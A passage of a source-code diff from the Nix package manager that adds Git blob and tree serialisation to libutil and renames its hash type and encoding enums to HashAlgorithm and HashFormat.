0; +}; + +/** + * Recursively copy file system objects from the source into the sink. + */ +void copyRecursive( + SourceAccessor & accessor, const CanonPath & sourcePath, + FileSystemObjectSink & sink, const CanonPath & destPath); + +/** + * Ignore everything and do nothing + */ +struct NullFileSystemObjectSink : FileSystemObjectSink +{ + void createDirectory(const CanonPath & path) override { } + void createSymlink(const CanonPath & path, const std::string & target) override { } + void createRegularFile( + const CanonPath & path, + std::function) override; +}; + +/** + * Write files at the given path + */ +struct RestoreSink : FileSystemObjectSink +{ + std::filesystem::path dstPath; + bool startFsync = false; + + explicit RestoreSink(bool startFsync) + : startFsync{startFsync} + { } + + void createDirectory(const CanonPath & path) override; + + void createRegularFile( + const CanonPath & path, + std::function) override; + + void createSymlink(const CanonPath & path, const std::string & target) override; +}; + +/** + * Restore a single file at the top level, passing along + * `receiveContents` to the underlying `Sink`. For anything but a single + * file, set `regular = true` so the caller can fail accordingly. + */ +struct RegularFileSink : FileSystemObjectSink +{ + bool regular = true; + Sink & sink; + + RegularFileSink(Sink & sink) : sink(sink) { } + + void createDirectory(const CanonPath & path) override + { + regular = false; + } + + void createSymlink(const CanonPath & path, const std::string & target) override + { + regular = false; + } + + void createRegularFile( + const CanonPath & path, + std::function) override; +}; + +} diff --git a/src/libutil/git.cc b/src/libutil/git.cc index f35c2fdb7..af91fa643 100644 --- a/src/libutil/git.cc +++ b/src/libutil/git.cc @@ -1,9 +1,345 @@ -#include "git.hh" - +#include +#include +#include +#include #include +#include // for strcasecmp + +#include "signals.hh" +#include "config.hh" +#include "hash.hh" + +#include "git.hh" +#include "serialise.hh" + +namespace nix::git { + +using namespace nix; +using namespace std::string_literals; + +std::optional decodeMode(RawMode m) { + switch (m) { + case (RawMode) Mode::Directory: + case (RawMode) Mode::Executable: + case (RawMode) Mode::Regular: + case (RawMode) Mode::Symlink: + return (Mode) m; + default: + return std::nullopt; + } +} + + +static std::string getStringUntil(Source & source, char byte) +{ + std::string s; + char n[1]; + source(std::string_view { n, 1 }); + while (*n != byte) { + s += *n; + source(std::string_view { n, 1 }); + } + return s; +} + + +static std::string getString(Source & source, int n) +{ + std::string v; + v.resize(n); + source(v); + return v; +} + +void parseBlob( + FileSystemObjectSink & sink, + const CanonPath & sinkPath, + Source & source, + BlobMode blobMode, + const ExperimentalFeatureSettings & xpSettings) +{ + xpSettings.require(Xp::GitHashing); + + unsigned long long size = std::stoi(getStringUntil(source, 0)); + + auto doRegularFile = [&](bool executable) { + sink.createRegularFile(sinkPath, [&](auto & crf) { + if (executable) + crf.isExecutable(); + + crf.preallocateContents(size); + + unsigned long long left = size; + std::string buf; + buf.reserve(65536); + + while (left) { + checkInterrupt(); + buf.resize(std::min((unsigned long long)buf.capacity(), left)); + source(buf); + crf(buf); + left -= buf.size(); + } + }); + }; + + switch (blobMode) { + + case BlobMode::Regular: + doRegularFile(false); + break; + + case BlobMode::Executable: + doRegularFile(true); + break; + + case BlobMode::Symlink: + { + std::string target; + target.resize(size, '0'); + target.reserve(size); + for (size_t n = 0; n < target.size();) { + checkInterrupt(); + n += source.read( + const_cast(target.c_str()) + n, + target.size() - n); + } + + sink.createSymlink(sinkPath, target); + break; + } + + default: + assert(false); + } +} + +void parseTree( + FileSystemObjectSink & sink, + const CanonPath & sinkPath, + Source & source, + std::function hook, + const ExperimentalFeatureSettings & xpSettings) +{ + unsigned long long size = std::stoi(getStringUntil(source, 0)); + unsigned long long left = size; + + sink.createDirectory(sinkPath); + + while (left) { + std::string perms = getStringUntil(source, ' '); + left -= perms.size(); + left -= 1; + + RawMode rawMode = std::stoi(perms, 0, 8); + auto modeOpt = decodeMode(rawMode); + if (!modeOpt) + throw Error("Unknown Git permission: %o", perms); + auto mode = std::move(*modeOpt); + + std::string name = getStringUntil(source, '\0'); + left -= name.size(); + left -= 1; + + std::string hashs = getString(source, 20); + left -= 20; + + Hash hash(HashAlgorithm::SHA1); + std::copy(hashs.begin(), hashs.end(), hash.hash); + + hook(CanonPath{name}, TreeEntry { + .mode = mode, + .hash = hash, + }); + } +} + +ObjectType parseObjectType( + Source & source, + const ExperimentalFeatureSettings & xpSettings) +{ + xpSettings.require(Xp::GitHashing); + + auto type = getString(source, 5); + + if (type == "blob ") { + return ObjectType::Blob; + } else if (type == "tree ") { + return ObjectType::Tree; + } else throw Error("input doesn't look like a Git object"); +} + +void parse( + FileSystemObjectSink & sink, + const CanonPath & sinkPath, + Source & source, + BlobMode rootModeIfBlob, + std::function hook, + const ExperimentalFeatureSettings & xpSettings) +{ + xpSettings.require(Xp::GitHashing); + + auto type = parseObjectType(source, xpSettings); + + switch (type) { + case ObjectType::Blob: + parseBlob(sink, sinkPath, source, rootModeIfBlob, xpSettings); + break; + case ObjectType::Tree: + parseTree(sink, sinkPath, source, hook, xpSettings); + break; + default: + assert(false); + }; +} + + +std::optional convertMode(SourceAccessor::Type type) +{ + switch (type) { + case SourceAccessor::tSymlink: return Mode::Symlink; + case SourceAccessor::tRegular: return Mode::Regular; + case SourceAccessor::tDirectory: return Mode::Directory; + case SourceAccessor::tMisc: return std::nullopt; + default: unreachable(); + } +} + + +void restore(FileSystemObjectSink & sink, Source & source, std::function hook) +{ + parse(sink, CanonPath::root, source, BlobMode::Regular, [&](CanonPath name, TreeEntry entry) { + auto [accessor, from] = hook(entry.hash); + auto stat = accessor->lstat(from); + auto gotOpt = convertMode(stat.type); + if (!gotOpt) + throw Error("file '%s' (git hash %s) has an unsupported type", + from, + entry.hash.to_string(HashFormat::Base16, false)); + auto & got = *gotOpt; + if (got != entry.mode) + throw Error("git mode of file '%s' (git hash %s) is %o but expected %o", + from, + entry.hash.to_string(HashFormat::Base16, false), + (RawMode) got, + (RawMode) entry.mode); + copyRecursive( + *accessor, from, + sink, name); + }); +} + + +void dumpBlobPrefix( + uint64_t size, Sink & sink, + const ExperimentalFeatureSettings & xpSettings) +{ + xpSettings.require(Xp::GitHashing); + auto s = fmt("blob %d\0"s, std::to_string(size)); + sink(s); +} + + +void dumpTree(const Tree & entries, Sink & sink, + const ExperimentalFeatureSettings & xpSettings) +{ + xpSettings.require(Xp::GitHashing); + + std::string v1; + + for (auto & [name, entry] : entries) { + auto name2 = name; + if (entry.mode == Mode::Directory) { + assert(!name2.empty()); + assert(name2.back() == '/'); + name2.pop_back(); + } + v1 += fmt("%o %s\0"s, static_cast(entry.mode), name2); + std::copy(entry.hash.hash, entry.hash.hash + entry.hash.hashSize, std::back_inserter(v1)); + } + + { + auto s = fmt("tree %d\0"s, v1.size()); + sink(s); + } + + sink(v1); +} + + +Mode dump( + const SourcePath & path, + Sink & sink, + std::function hook, + PathFilter & filter, + const ExperimentalFeatureSettings & xpSettings) +{ + auto st = path.lstat(); + + switch (st.type) { + case SourceAccessor::tRegular: + { + path.readFile(sink, [&](uint64_t size) { + dumpBlobPrefix(size, sink, xpSettings); + }); + return st.isExecutable + ? Mode::Executable + : Mode::Regular; + } + + case SourceAccessor::tDirectory: + { + Tree entries; + for (auto & [name, _] : path.readDirectory()) { + auto child = path / name; + if (!filter(child.path.abs())) continue; + + auto entry = hook(child); + + auto name2 = name; + if (entry.mode == Mode::Directory) + name2 += "/"; + + entries.insert_or_assign(std::move(name2), std::move(entry)); + } + dumpTree(entries, sink, xpSettings); + return Mode::Directory; + } + + case SourceAccessor::tSymlink: + { + auto target = path.readLink(); + dumpBlobPrefix(target.size(), sink, xpSettings); + sink(target); + return Mode::Symlink; + } + + case SourceAccessor::tMisc: + default: + throw Error("file '%1%' has an unsupported type", path); + } +} + + +TreeEntry dumpHash( + HashAlgorithm ha, + const SourcePath & path, + PathFilter & filter) +{ + std::function hook; + hook = [&](const SourcePath & path) -> TreeEntry { + auto hashSink = HashSink(ha); + auto mode = dump(path, hashSink, hook, filter); + auto hash = hashSink.finish().first; + return { + .mode = mode, + .hash = hash, + }; + }; + + return hook(path); +} -namespace nix { -namespace git { std::optional parseLsRemoteLine(std::string_view line) { @@ -22,4 +358,3 @@ std::optional parseLsRemoteLine(std::string_view line) } } -} diff --git a/src/libutil/git.hh b/src/libutil/git.hh index cb13ef0e5..1dbdb7335 100644 --- a/src/libutil/git.hh +++ b/src/libutil/git.hh @@ -1,28 +1,201 @@ #pragma once +///@file #include #include #include -namespace nix { +#include "types.hh" +#include "serialise.hh" +#include "hash.hh" +#include "source-path.hh" +#include "fs-sink.hh" -namespace git { +namespace nix::git { -// A line from the output of `git ls-remote --symref`. -// -// These can be of two kinds: -// -// - Symbolic references of the form -// -// ref: {target} {reference} -// -// where {target} is itself a reference and {reference} is optional -// -// - Object references of the form -// -// {target} {reference} -// -// where {target} is a commit id and {reference} is mandatory +enum struct ObjectType { + Blob, + Tree, + //Commit, + //Tag, +}; + +using RawMode = uint32_t; + +enum struct Mode : RawMode { + Directory = 0040000, + Regular = 0100644, + Executable = 0100755, + Symlink = 0120000, +}; + +std::optional decodeMode(RawMode m); + +/** + * An anonymous Git tree object entry (no name part). + */ +struct TreeEntry +{ + Mode mode; + Hash hash; + + bool operator ==(const TreeEntry &) const = default; + auto operator <=>(const TreeEntry &) const = default; +}; + +/** + * A Git tree object, fully decoded and stored in memory. + * + * Directory names must end in a `/` for sake of sorting. See + * https://github.com/mirage/irmin/issues/352 + */ +using Tree = std::map; + +/** + * Callback for processing a child hash with `parse` + * + * The function should + * + * 1. Obtain the file system objects denoted by `gitHash` + * + * 2. Ensure they match `mode` + * + * 3. Feed them into the same sink `parse` was called with + * + * Implementations may seek to memoize resources (bandwidth, storage, + * etc.) for the same Git hash. + */ +using SinkHook = void(const CanonPath & name, TreeEntry entry); + +/** + * Parse the "blob " or "tree " prefix. + * + * @throws if prefix not recognized + */ +ObjectType parseObjectType( + Source & source, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + +/** + * These 3 modes are represented by blob objects. + * + * Sometimes we need this information to disambiguate how a blob is + * being used to better match our own "file system object" data model. + */ +enum struct BlobMode : RawMode +{ + Regular = static_cast(Mode::Regular), + Executable = static_cast(Mode::Executable), + Symlink = static_cast(Mode::Symlink), +}; + +void parseBlob( + FileSystemObjectSink & sink, const CanonPath & sinkPath, + Source & source, + BlobMode blobMode, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + +void parseTree( + FileSystemObjectSink & sink, const CanonPath & sinkPath, + Source & source, + std::function hook, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + +/** + * Helper putting the previous three `parse*` functions together. + * + * @rootModeIfBlob How to interpret a root blob, for which there is no + * disambiguating dir entry to answer that questino. If the root it not + * a blob, this is ignored. + */ +void parse( + FileSystemObjectSink & sink, const CanonPath & sinkPath, + Source & source, + BlobMode rootModeIfBlob, + std::function hook, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + +/** + * Assists with writing a `SinkHook` step (2). + */ +std::optional convertMode(SourceAccessor::Type type); + +/** + * Simplified version of `SinkHook` for `restore`. + * + * Given a `Hash`, return a `SourceAccessor` and `CanonPath` pointing to + * the file system object with that path. + */ +using RestoreHook = SourcePath(Hash); + +/** + * Wrapper around `parse` and `RestoreSink` + */ +void restore(FileSystemObjectSink & sink, Source & source, std::function hook); + +/** + * Dumps a single file to a sink + * + * @param xpSettings for testing purposes + */ +void dumpBlobPrefix( + uint64_t size, Sink & sink, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + +/** + * Dumps a representation of a git tree to a sink + */ +void dumpTree( + const Tree & entries, Sink & sink, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + +/** + * Callback for processing a child with `dump` + * + * The function should return the Git hash and mode of the file at the + * given path in the accessor passed to `dump`. + * + * Note that if the child is a directory, its child in must also be so + * processed in order to compute this information. + */ +using DumpHook = TreeEntry(const SourcePath & path); + +Mode dump( + const SourcePath & path, + Sink & sink, + std::function hook, + PathFilter & filter = defaultPathFilter, + const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); + +/** + * Recursively dumps path, hashing as we go. + * + * A smaller wrapper around `dump`. + */ +TreeEntry dumpHash( + HashAlgorithm ha, + const SourcePath & path, + PathFilter & filter = defaultPathFilter); + +/** + * A line from the output of `git ls-remote --symref`. + * + * These can be of two kinds: + * + * - Symbolic references of the form + * + * ``` + * ref: {target} {reference} + * ``` + * where {target} is itself a reference and {reference} is optional + * + * - Object references of the form + * + * ``` + * {target} {reference} + * ``` + * where {target} is a commit id and {reference} is mandatory + */ struct LsRemoteRefLine { enum struct Kind { Symbolic, @@ -33,8 +206,9 @@ struct LsRemoteRefLine { std::optional reference; }; +/** + * Parse an `LsRemoteRefLine` + */ std::optional parseLsRemoteLine(std::string_view line); } - -} diff --git a/src/libutil/hash.cc b/src/libutil/hash.cc index d2fd0c15a..ab2a8695d 100644 --- a/src/libutil/hash.cc +++ b/src/libutil/hash.cc @@ -1,6 +1,7 @@ #include #include +#include #include #include @@ -8,38 +9,39 @@ #include "hash.hh" #include "archive.hh" #include "split.hh" -#include "util.hh" #include #include #include +#include + namespace nix { - -static size_t regularHashSize(HashType type) { +static size_t regularHashSize(HashAlgorithm type) { switch (type) { - case htMD5: return md5HashSize; - case htSHA1: return sha1HashSize; - case htSHA256: return sha256HashSize; - case htSHA512: return sha512HashSize; + case HashAlgorithm::MD5: return md5HashSize; + case HashAlgorithm::SHA1: return sha1HashSize; + case HashAlgorithm::SHA256: return sha256HashSize; + case HashAlgorithm::SHA512: return sha512HashSize; } - abort(); + unreachable(); } -std::set hashTypes = { "md5", "sha1", "sha256", "sha512" }; +const std::set hashAlgorithms = {"md5", "sha1", "sha256", "sha512" }; +const std::set hashFormats = {"base64", "nix32", "base16", "sri" }; -Hash::Hash(HashType type) : type(type) +Hash::Hash(HashAlgorithm algo) : algo(algo) { - hashSize = regularHashSize(type); + hashSize = regularHashSize(algo); assert(hashSize <= maxHashSize); memset(hash, 0, maxHashSize); } -bool Hash::operator == (const Hash & h2) const +bool Hash::operator == (const Hash & h2) const noexcept { if (hashSize != h2.hashSize) return false; for (unsigned int i = 0; i < hashSize; i++) @@ -48,21 +50,14 @@ bool Hash::operator == (const Hash & h2) const } -bool Hash::operator != (const Hash & h2) const +std::strong_ordering Hash::operator <=> (const Hash & h) const noexcept { - return !(*this == h2); -} - - -bool Hash::operator < (const Hash & h) const -{ - if (hashSize < h.hashSize) return true; - if (hashSize > h.hashSize) return false; + if (auto cmp = hashSize <=> h.hashSize; cmp != 0) return cmp; for (unsigned int i = 0; i < hashSize; i++) { - if (hash[i] < h.hash[i]) return true; - if (hash[i] > h.hash[i]) return false; + if (auto cmp = hash[i] <=> h.hash[i]; cmp != 0) return cmp; } - return false; + if (auto cmp = algo <=> h.algo; cmp != 0) return cmp; + return std::strong_ordering::equivalent; } @@ -71,17 +66,18 @@ const std::string base16Chars = "0123456789abcdef"; static std::string printHash16(const Hash & hash) { - char buf[hash.hashSize * 2]; + std::string buf; + buf.reserve(hash.hashSize * 2); for (unsigned int i = 0; i < hash.hashSize; i++) { - buf[i * 2] = base16Chars[hash.hash[i] >> 4]; - buf[i * 2 + 1] = base16Chars[hash.hash[i] & 0x0f]; + buf.push_back(base16Chars[hash.hash[i] >> 4]); + buf.push_back(base16Chars[hash.hash[i] & 0x0f]); } - return std::string(buf, hash.hashSize * 2); + return buf; } // omitted: E O U T -const std::string base32Chars = "0123456789abcdfghijklmnpqrsvwxyz"; +const std::string nix32Chars = "0123456789abcdfghijklmnpqrsvwxyz"; static std::string printHash32(const Hash & hash) @@ -100,7 +96,7 @@ static std::string printHash32(const Hash & hash) unsigned char c = (hash.hash[i] >> j) | (i >= hash.hashSize - 1 ? 0 : hash.hash[i + 1] << (8 - j)); - s.push_back(base32Chars[c & 0x1f]); + s.push_back(nix32Chars[c & 0x1f]); } return s; @@ -109,34 +105,34 @@ static std::string printHash32(const Hash & hash) std::string printHash16or32(const Hash & hash) { - assert(hash.type); - return hash.to_string(hash.type == htMD5 ? Base16 : Base32, false); + assert(static_cast(hash.algo)); + return hash.to_string(hash.algo == HashAlgorithm::MD5 ? HashFormat::Base16 : HashFormat::Nix32, false); } -std::string Hash::to_string(Base base, bool includeType) const +std::string Hash::to_string(HashFormat hashFormat, bool includeAlgo) const { std::string s; - if (base == SRI || includeType) { - s += printHashType(type); - s += base == SRI ? '-' : ':'; + if (hashFormat == HashFormat::SRI || includeAlgo) { + s += printHashAlgo(algo); + s += hashFormat == HashFormat::SRI ? '-' : ':'; } - switch (base) { - case Base16: + switch (hashFormat) { + case HashFormat::Base16: s += printHash16(*this); break; - case Base32: + case HashFormat::Nix32: s += printHash32(*this); break; - case Base64: - case SRI: - s += base64Encode(std::string((const char *) hash, hashSize)); + case HashFormat::Base64: + case HashFormat::SRI: + s += base64Encode(std::string_view((const char *) hash, hashSize)); break; } return s; } -Hash Hash::dummy(htSHA256); +Hash Hash::dummy(HashAlgorithm::SHA256); Hash Hash::parseSRI(std::string_view original) { auto rest = original; @@ -145,18 +141,18 @@ Hash Hash::parseSRI(std::string_view original) { auto hashRaw = splitPrefixTo(rest, '-'); if (!hashRaw) throw BadHash("hash '%s' is not SRI", original); - HashType parsedType = parseHashType(*hashRaw); + HashAlgorithm parsedType = parseHashAlgo(*hashRaw); return Hash(rest, parsedType, true); } // Mutates the string to eliminate the prefixes when found -static std::pair, bool> getParsedTypeAndSRI(std::string_view & rest) +static std::pair, bool> getParsedTypeAndSRI(std::string_view & rest) { bool isSRI = false; // Parse the hash type before the separator, if there was one. - std::optional optParsedType; + std::optional optParsedType; { auto hashRaw = splitPrefixTo(rest, ':'); @@ -166,7 +162,7 @@ static std::pair, bool> getParsedTypeAndSRI(std::string_ isSRI = true; } if (hashRaw) - optParsedType = parseHashType(*hashRaw); + optParsedType = parseHashAlgo(*hashRaw); } return {optParsedType, isSRI}; @@ -185,29 +181,29 @@ Hash Hash::parseAnyPrefixed(std::string_view original) return Hash(rest, *optParsedType, isSRI); } -Hash Hash::parseAny(std::string_view original, std::optional optType) +Hash Hash::parseAny(std::string_view original, std::optional optAlgo) { auto rest = original; auto [optParsedType, isSRI] = getParsedTypeAndSRI(rest); // Either the string or user must provide the type, if they both do they // must agree. - if (!optParsedType && !optType) + if (!optParsedType && !optAlgo) throw BadHash("hash '%s' does not include a type, nor is the type otherwise known from context", rest); - else if (optParsedType && optType && *optParsedType != *optType) - throw BadHash("hash '%s' should have type '%s'", original, printHashType(*optType)); + else if (optParsedType && optAlgo && *optParsedType != *optAlgo) + throw BadHash("hash '%s' should have type '%s'", original, printHashAlgo(*optAlgo)); - HashType hashType = optParsedType ? *optParsedType : *optType; - return Hash(rest, hashType, isSRI); + HashAlgorithm hashAlgo = optParsedType ? *optParsedType : *optAlgo; + return Hash(rest, hashAlgo, isSRI); } -Hash Hash::parseNonSRIUnprefixed(std::string_view s, HashType type) +Hash Hash::parseNonSRIUnprefixed(std::string_view s, HashAlgorithm algo) { - return Hash(s, type, false); + return Hash(s, algo, false); } -Hash::Hash(std::string_view rest, HashType type, bool isSRI) - : Hash(type) +Hash::Hash(std::string_view rest, HashAlgorithm algo, bool isSRI) + : Hash(algo) { if (!isSRI && rest.size() == base16Len()) { @@ -230,8 +226,8 @@ Hash::Hash(std::string_view rest, HashType type, bool isSRI) for (unsigned int n = 0; n < rest.size(); ++n) { char c = rest[rest.size() - n - 1]; unsigned char digit; - for (digit = 0; digit < base32Chars.size(); ++digit) /* !!! slow */ - if (base32Chars[digit] == c) break; + for (digit = 0; digit < nix32Chars.size(); ++digit) /* !!! slow */ + if (nix32Chars[digit] == c) break; if (digit >= 32) throw BadHash("invalid base-32 hash '%s'", rest); unsigned int b = n * 5; @@ -257,19 +253,26 @@ Hash::Hash(std::string_view rest, HashType type, bool isSRI) } else - throw BadHash("hash '%s' has wrong length for hash type '%s'", rest, printHashType(this->type)); + throw BadHash("hash '%s' has wrong length for hash algorithm '%s'", rest, printHashAlgo(this->algo)); } -Hash newHashAllowEmpty(std::string_view hashStr, std::optional ht) +Hash Hash::random(HashAlgorithm algo) +{ + Hash hash(algo); + randombytes_buf(hash.hash, hash.hashSize); + return hash; +} + +Hash newHashAllowEmpty(std::string_view hashStr, std::optional ha) { if (hashStr.empty()) { - if (!ht) - throw BadHash("empty hash requires explicit hash type"); - Hash h(*ht); - warn("found empty hash, assuming '%s'", h.to_string(SRI, true)); + if (!ha) + throw BadHash("empty hash requires explicit hash algorithm"); + Hash h(*ha); + warn("found empty hash, assuming '%s'", h.to_string(HashFormat::SRI, true)); return h; } else - return Hash::parseAny(hashStr, ht); + return Hash::parseAny(hashStr, ha); } @@ -282,58 +285,58 @@ union Ctx }; -static void start(HashType ht, Ctx & ctx) +static void start(HashAlgorithm ha, Ctx & ctx) { - if (ht == htMD5) MD5_Init(&ctx.md5); - else if (ht == htSHA1) SHA1_Init(&ctx.sha1); - else if (ht == htSHA256) SHA256_Init(&ctx.sha256); - else if (ht == htSHA512) SHA512_Init(&ctx.sha512); + if (ha == HashAlgorithm::MD5) MD5_Init(&ctx.md5); + else if (ha == HashAlgorithm::SHA1) SHA1_Init(&ctx.sha1); + else if (ha == HashAlgorithm::SHA256) SHA256_Init(&ctx.sha256); + else if (ha == HashAlgorithm::SHA512) SHA512_Init(&ctx.sha512); } -static void update(HashType ht, Ctx & ctx, - std::string_view data) +static void update(HashAlgorithm ha, Ctx & ctx, + std::string_view data) { - if (ht == htMD5) MD5_Update(&ctx.md5, data.data(), data.size()); - else if (ht == htSHA1) SHA1_Update(&ctx.sha1, data.data(), data.size()); - else if (ht == htSHA256) SHA256_Update(&ctx.sha256, data.data(), data.size()); - else if (ht == htSHA512) SHA512_Update(&ctx.sha512, data.data(), data.size()); + if (ha == HashAlgorithm::MD5) MD5_Update(&ctx.md5, data.data(), data.size()); + else if (ha == HashAlgorithm::SHA1) SHA1_Update(&ctx.sha1, data.data(), data.size()); + else if (ha == HashAlgorithm::SHA256) SHA256_Update(&ctx.sha256, data.data(), data.size()); + else if (ha == HashAlgorithm::SHA512) SHA512_Update(&ctx.sha512, data.data(), data.size()); } -static void finish(HashType ht, Ctx & ctx, unsigned char * hash) +static void finish(HashAlgorithm ha, Ctx & ctx, unsigned char * hash) { - if (ht == htMD5) MD5_Final(hash, &ctx.md5); - else if (ht == htSHA1) SHA1_Final(hash, &ctx.sha1); - else if (ht == htSHA256) SHA256_Final(hash, &ctx.sha256); - else if (ht == htSHA512) SHA512_Final(hash, &ctx.sha512); + if (ha == HashAlgorithm::MD5) MD5_Final(hash, &ctx.md5); + else if (ha == HashAlgorithm::SHA1) SHA1_Final(hash, &ctx.sha1); + else if (ha == HashAlgorithm::SHA256) SHA256_Final(hash, &ctx.sha256); + else if (ha == HashAlgorithm::SHA512) SHA512_Final(hash, &ctx.sha512); } -Hash hashString(HashType ht, std::string_view s) +Hash hashString(HashAlgorithm ha, std::string_view s) { Ctx ctx; - Hash hash(ht); - start(ht, ctx); - update(ht, ctx, s); - finish(ht, ctx, hash.hash); + Hash hash(ha); + start(ha, ctx); + update(ha, ctx, s); + finish(ha, ctx, hash.hash); return hash; } -Hash hashFile(HashType ht, const Path & path) +Hash hashFile(HashAlgorithm ha, const Path & path) { - HashSink sink(ht); + HashSink sink(ha); readFile(path, sink); return sink.finish().first; } -HashSink::HashSink(HashType ht) : ht(ht) +HashSink::HashSink(HashAlgorithm ha) : ha(ha) { ctx = new Ctx; bytes = 0; - start(ht, *ctx); + start(ha, *ctx); } HashSink::~HashSink() @@ -342,17 +345,17 @@ HashSink::~HashSink() delete ctx; } -void HashSink::write(std::string_view data) +void HashSink::writeUnbuffered(std::string_view data) { bytes += data.size(); - update(ht, *ctx, data); + update(ha, *ctx, data); } HashResult HashSink::finish() { flush(); - Hash hash(ht); - nix::finish(ht, *ctx, hash.hash); + Hash hash(ha); + nix::finish(ha, *ctx, hash.hash); return HashResult(hash, bytes); } @@ -360,24 +363,15 @@ HashResult HashSink::currentHash() { flush(); Ctx ctx2 = *ctx; - Hash hash(ht); - nix::finish(ht, ctx2, hash.hash); + Hash hash(ha); + nix::finish(ha, ctx2, hash.hash); return HashResult(hash, bytes); } -HashResult hashPath( - HashType ht, const Path & path, PathFilter & filter) -{ - HashSink sink(ht); - dumpPath(path, sink, filter); - return sink.finish(); -} - - Hash compressHash(const Hash & hash, unsigned int newSize) { - Hash h(hash.type); + Hash h(hash.algo); h.hashSize = newSize; for (unsigned int i = 0; i < hash.hashSize; ++i) h.hash[i % newSize] ^= hash.hash[i]; @@ -385,31 +379,70 @@ Hash compressHash(const Hash & hash, unsigned int newSize) } -std::optional parseHashTypeOpt(std::string_view s) +std::optional parseHashFormatOpt(std::string_view hashFormatName) { - if (s == "md5") return htMD5; - else if (s == "sha1") return htSHA1; - else if (s == "sha256") return htSHA256; - else if (s == "sha512") return htSHA512; - else return std::optional {}; + if (hashFormatName == "base16") return HashFormat::Base16; + if (hashFormatName == "nix32") return HashFormat::Nix32; + if (hashFormatName == "base32") { + warn(R"("base32" is a deprecated alias for hash format "nix32".)"); + return HashFormat::Nix32; + } + if (hashFormatName == "base64") return HashFormat::Base64; + if (hashFormatName == "sri") return HashFormat::SRI; + return std::nullopt; } -HashType parseHashType(std::string_view s) +HashFormat parseHashFormat(std::string_view hashFormatName) { - auto opt_h = parseHashTypeOpt(s); + auto opt_f = parseHashFormatOpt(hashFormatName); + if (opt_f) + return *opt_f; + throw UsageError("unknown hash format '%1%', expect 'base16', 'base32', 'base64', or 'sri'", hashFormatName); +} + +std::string_view printHashFormat(HashFormat HashFormat) +{ + switch (HashFormat) { + case HashFormat::Base64: + return "base64"; + case HashFormat::Nix32: + return "nix32"; + case HashFormat::Base16: + return "base16"; + case HashFormat::SRI: + return "sri"; + default: + // illegal hash base enum value internally, as opposed to external input + // which should be validated with nice error message. + assert(false); + } +} + +std::optional parseHashAlgoOpt(std::string_view s) +{ + if (s == "md5") return HashAlgorithm::MD5; + if (s == "sha1") return HashAlgorithm::SHA1; + if (s == "sha256") return HashAlgorithm::SHA256; + if (s == "sha512") return HashAlgorithm::SHA512; + return std::nullopt; +} + +HashAlgorithm parseHashAlgo(std::string_view s) +{ + auto opt_h = parseHashAlgoOpt(s); if (opt_h) return *opt_h; else - throw UsageError("unknown hash algorithm '%1%'", s); + throw UsageError("unknown hash algorithm '%1%', expect 'md5', 'sha1', 'sha256', or 'sha512'", s); } -std::string printHashType(HashType ht) +std::string_view printHashAlgo(HashAlgorithm ha) { - switch (ht) { - case htMD5: return "md5"; - case htSHA1: return "sha1"; - case htSHA256: return "sha256"; - case htSHA512: return "sha512"; + switch (ha) { + case HashAlgorithm::MD5: return "md5"; + case HashAlgorithm::SHA1: return "sha1"; + case HashAlgorithm::SHA256: return "sha256"; + case HashAlgorithm::SHA512: return "sha512"; default: // illegal hash type enum value internally, as opposed to external input // which should be validated with nice error message. diff --git a/src/libutil/hash.hh b/src/libutil/hash.hh index 00f70a572..dc95b9f2f 100644 --- a/src/libutil/hash.hh +++ b/src/libutil/hash.hh @@ -1,8 +1,9 @@ #pragma once +///@file #include "types.hh" #include "serialise.hh" - +#include "file-system.hh" namespace nix { @@ -10,7 +11,7 @@ namespace nix { MakeError(BadHash, Error); -enum HashType : char { htMD5 = 42, htSHA1, htSHA256, htSHA512 }; +enum struct HashAlgorithm : char { MD5 = 42, SHA1, SHA256, SHA512 }; const int md5HashSize = 16; @@ -18,12 +19,27 @@ const int sha1HashSize = 20; const int sha256HashSize = 32; const int sha512HashSize = 64; -extern std::set hashTypes; +extern const std::set hashAlgorithms; -extern const std::string base32Chars; +extern const std::string nix32Chars; -enum Base : int { Base64, Base32, Base16, SRI }; +/** + * @brief Enumeration representing the hash formats. + */ +enum struct HashFormat : int { + /// @brief Base 64 encoding. + /// @see [IETF RFC 4648, section 4](https://datatracker.ietf.org/doc/html/rfc4648#section-4). + Base64, + /// @brief Nix-specific base-32 encoding. @see nix32Chars + Nix32, + /// @brief Lowercase hexadecimal encoding. @see base16Chars + Base16, + /// @brief ":", format of the SRI integrity attribute. + /// @see W3C recommendation [Subresource Intergrity](https://www.w3.org/TR/SRI/). + SRI +}; +extern const std::set hashFormats; struct Hash { @@ -31,109 +47,167 @@ struct Hash size_t hashSize = 0; uint8_t hash[maxHashSize] = {}; - HashType type; + HashAlgorithm algo; - /* Create a zero-filled hash object. */ - Hash(HashType type); + /** + * Create a zero-filled hash object. + */ + explicit Hash(HashAlgorithm algo); - /* Parse the hash from a string representation in the format - "[:]" or "-" (a - Subresource Integrity hash expression). If the 'type' argument - is not present, then the hash type must be specified in the - string. */ - static Hash parseAny(std::string_view s, std::optional type); + /** + * Parse the hash from a string representation in the format + * "[:]" or "-" (a + * Subresource Integrity hash expression). If the 'type' argument + * is not present, then the hash algorithm must be specified in the + * string. + */ + static Hash parseAny(std::string_view s, std::optional optAlgo); - /* Parse a hash from a string representation like the above, except the - type prefix is mandatory is there is no separate arguement. */ + /** + * Parse a hash from a string representation like the above, except the + * type prefix is mandatory is there is no separate arguement. + */ static Hash parseAnyPrefixed(std::string_view s); - /* Parse a plain hash that musst not have any prefix indicating the type. - The type is passed in to disambiguate. */ - static Hash parseNonSRIUnprefixed(std::string_view s, HashType type); + /** + * Parse a plain hash that musst not have any prefix indicating the type. + * The type is passed in to disambiguate. + */ + static Hash parseNonSRIUnprefixed(std::string_view s, HashAlgorithm algo); static Hash parseSRI(std::string_view original); private: - /* The type must be provided, the string view must not include - prefix. `isSRI` helps disambigate the various base-* encodings. */ - Hash(std::string_view s, HashType type, bool isSRI); + /** + * The type must be provided, the string view must not include + * prefix. `isSRI` helps disambigate the various base-* encodings. + */ + Hash(std::string_view s, HashAlgorithm algo, bool isSRI); public: - /* Check whether two hash are equal. */ - bool operator == (const Hash & h2) const; + /** + * Check whether two hashes are equal. + */ + bool operator == (const Hash & 